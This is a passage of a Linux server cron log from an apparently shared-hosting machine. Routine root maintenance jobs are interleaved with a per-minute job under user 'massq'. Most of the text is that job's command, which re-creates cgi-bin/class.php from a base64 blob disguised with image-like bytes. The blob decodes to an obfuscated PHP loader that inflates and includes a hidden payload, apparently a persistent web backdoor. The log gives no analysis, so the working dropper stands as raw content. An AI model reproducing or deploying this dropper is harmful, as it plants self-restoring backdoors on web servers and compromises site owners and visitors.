Q9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:55:01 server CROND[8131]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 12:55:01 server CROND[8132]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 12:56:01 server CROND[8239]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:57:01 server CROND[8298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:57:01 server CROND[8299]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 12:58:01 server CROND[8361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:59:02 server CROND[8417]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:00:01 server CROND[8569]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 13:00:01 server CROND[8570]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 13:00:01 server CROND[8571]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 13:00:01 server CROND[8572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:01:01 server CROND[8692]: (root) CMD (run-parts /etc/cron.hourly)
Apr  7 13:01:01 server CROND[8693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:01:01 server run-parts(/etc/cron.hourly)[8692]: starting 0anacron
Apr  7 13:01:01 server run-parts(/etc/cron.hourly)[8705]: finished 0anacron
Apr  7 13:02:01 server CROND[8766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:03:01 server CROND[8821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:04:01 server CROND[8898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:05:01 server CROND[9049]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 13:05:01 server CROND[9050]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:05:01 server CROND[9051]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 13:05:01 server CROND[9052]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 13:06:01 server CROND[9170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:07:01 server CROND[9235]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:08:01 server CROND[9295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:09:01 server CROND[9355]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
